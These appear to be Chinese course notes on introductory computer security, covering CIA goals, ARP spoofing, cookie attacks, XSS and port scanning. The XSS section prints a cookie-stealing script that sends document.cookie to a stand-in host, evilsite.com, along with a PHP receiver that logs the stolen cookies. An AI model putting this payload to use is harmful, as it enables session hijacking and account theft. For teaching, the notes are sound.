内容主要基于西安电子科技大学 杨力 老师的课程《计算机安全导论》 整理
安全目标:CIA
Confidentially 机密性
避免信息的非授权泄露,只有授权用户可获取
攻击方式例:窃听(在信道中侦听)
网络中的机密性,需要通过在网络层或应用层设计加密协议来保障
手段:
-
加密(Encryption):使用密文通信,双方均需密钥进行加解密
-
访问控制(Access Control):需提供身份信息以访问机密信息。防止非授权访问
-
认证(Authentication):确定身份/角色(via 卡/密钥、密码、指纹等)
-
授权(Authorization):基于访问控制,确定对象是否被允许访问资源。
-
物理安全:建立物理障碍(如机房上锁)
Integrity 完整性
确保信息不被非授权修改的属性(方法:备份、校验和、数据纠错码、保护元数据)
攻击方式例:篡改 (Alteration,例:中间人攻击,使网络信息流被侦听、修改、重传)
网络中的完整性,可以通过在数据包中的头、尾封装校验和来进行检查。但不能绝对保证完整性
Availability 可用性
确保授权用户能及时访问、修改信息的属性(方法:物理保护、计算冗余)
攻击方式例:拒绝服务攻击( Denial-of-service ):对数据服务或信息访问的中断或降级
安全目标:3A
Assurance 保证
系统中信任如何被提供和管理
- 信任管理:策略Policy、权限Permission、保护Protection
- 例:在线音乐系统,为用户如何访问歌曲设定策略,为购买特定歌曲的用户提供权限,为系统提供保护以防止未授权访问
伪装:使用假冒身份发送信息等
Authenticity 真实性
确定(人/系统发布的声明、策略、权限的)真实性的能力。(真实性一般是进行更加复杂的交互的基础)
- 真实性能保证在线交易的可行性
- 不可抵赖性:人 / 系统不能否认其发布的真实声明。
- 工具:数字签名(能实现不可抵赖)
抵赖:否认曾经的承诺或收到的数据
在网络通信中,能且仅能在应用层引入能证明身份的签名
Anonymity 匿名性:
确保特定记录不能和任何个体关联。可避免隐私泄露
- 确保方法:数据聚集(Aggregation)、数据混淆(Mixing)、使用代理(Proxy)、使用化名(Pseudonym)
网络协议有内在的匿名性,要确认攻击者身份需要通过确认攻击者所使用的计算机
ARP 欺骗和防范措施
补充:链路层
链路层进行物理地址寻址,协议如 SDLC、HDLC、PPP、STP、帧中继等。我们熟悉的 IP 在链路层之上的网络层中。
ARP
Address Resolution Protocol,地址解析协议。该协议位于链路层,其将主机的网络层地址( IP )解析为主机的硬件地址( MAC )。
主机在发送数据时,会将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回消息,确定目标的 MAC (主机在收到该地之后会将 IP 与 MAC 的对应关系缓存到 ARP 缓存表中)。
请求及回应例:
ARP Request :Who has IP address 192.168.1.105 ?
ARP Reply : 192.168.1.105 is at 00:16:B7:29:E4:7D
ARP 欺骗
ARP 缺少身份认证,易受中间人攻击。攻击者向主机发送假的 ARP 应答报文,使主机发送的消息到达错误的主机。
实例:
Eve 向 Alice 发 ARP 响应,将 Bob 的 IP 与自己的 MAC 关联;
再向 Bob 发 ARP 响应,将 Alice 的 IP 与自己的 MAC 关联
则所有 Alice、Bob 间的通信都会经过 Eve
图例:
ARP 欺骗的防范措施
- 检查相同的 MAC 是否在局域网中多次出现。若是,则证明存在 ARP 攻击;
- 静态 ARP 表:网络管理员手动配置 ARP 缓存,即人工指定 IP-MAC 对应关系。该方法每次加新设备都要改表,不够灵活;
- 使用工具,如 anti-arpsroof, XArp, Arpwatch。这类软件会检查所有的 ARP 数据包,对其中数据与已有 ARP 表项进行比对
Cookie 安全
服务器可以将少量的数据以 Cookie 的形式保存在用户计算机上,用于再会话中保存状态信息,可以实现用户身份的认证等功能——这意味着 cookie 会被用来存身份认证信息等敏感信息。
Cookie 有两种,分别是:会话型 cookie,浏览器关闭后会被清除;持久性 cookie:存储在用户硬盘上,下次用户打开浏览器访问网站还可用。
常见 cookie 攻击
- 直接访问 cookie 文件,读取信息;
- 攻击者在用户和服务器中间截取传递中的 cookie,冒充合法用户进行操作;
- 修改 cookie 信息,让服务器接收到攻击者修改过的 cookie
在网络上,可以使用网络嗅探器获取网络上的 cookie,也可以使用跨站脚本(XSS)盗取 cookie
防范 cookie 攻击
- 不用 cookie 明文保存敏感信息
- 使用 SSL / TLS 传输 cookie
- 在客户端对 cookie 进行校验
XSS
XSS ,其实就是攻击者通过某种方法来将他自己编写的脚本注入 Web 应用程序生成的页面
比如,攻击者在一个留言板页面发一条留言,这条留言的内容是一段 js 代码。那么下次再有用户打开这个留言板的时候,攻击者那条留言中的 js 代码就会在该用户的浏览器中自动执行。
由于代码是可以随便写的,这也就意味着可以进行各种攻击。比如是向攻击者的服务器发送用户的 cookie 数据,就可以注入下面这样的代码:
<script>
document.location="http://evilsite.com/steal.php?cookie="+document.cookie;
</script>
攻击者准备的服务器代码就可以这样设计:
steal.php:
<?php
$cookie=$_GET['cookie'];
$log=fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
XSS 防御
客户端:分析浏览器、服务器之间的 HTTP 通信量;查找 HTML 中的特殊字符;执行 Web 页面前,对其进行编码(把有害的内容过滤掉)
应用层防火墙:分析 HTML 页面中可能导致信息泄露的超链接;对于使用不良请求的一系列链接停止操作
审计制度:监视 js 的执行,将操作与高级策略进行比较,检测恶意行为
端口扫描
端口扫描
让用户可以列出计算机的哪个端口正在接受连接的技术。可以通过确定主机有哪些开放端口、哪些远程服务运行在哪些端口上来分析弱点。
端口状态:开放(接受链接)、关闭(不接受连接)、阻塞(防火墙或其他设备防止一些流量到达目的端口)
扫描方法:
- TCP 扫描:对每个端口都进行 TCP 连接,有响应的就是开放的,否则关闭或阻塞;
- SYN 扫描:对每个端口发送带有 SYN 标志的 TCP 数据包,响应带有 SYN-ACK 标志数据包的端口是开放的;
- 空闲扫描:该方法可扫描目标网络而不留下攻击者 IP 地址记录。不常用,略;
- UDP 扫描:该方法不可靠。因为开放的端口、被阻塞的端口都不会返回数据。一般只向已知的指定端口发该端口应用程序所接受的包,这样的包包含该端口应用程序的有效载荷,如:向 DNS 默认的 53 端口发 DNS 请求,来确定该端口是否开放。
补习:TCP 握手步骤
- 客户端请求连接:向目标发送带有 SYN(Synchronization) 标志的数据包,包中含一个随机数,该随机数会被用作【序列号】
- 服务器回应 SYN-ACK 数据包,表示接受连接,并附带一个【收到的序列号+1】得到的确认号
- 客户端 ACK,包含收到的确认号+1,确认建立连接成功
SYN 扫描
因为 TCP 扫描容易被发现,所以一般进行 TCP 扫描的攻击者 IP 会很快被服务器列入黑名单。为避免被封,出现了 SYN 扫描。
SYN 扫描也是利用 TCP 的握手过程进行的扫描,但其会在接收到目标的 SYN-ACK 后发送代表拒绝连接的 RST 数据包——在完成握手前停止连接,服务器就不会将该记录记在日志中,但攻击者也已经扫到了端口信息。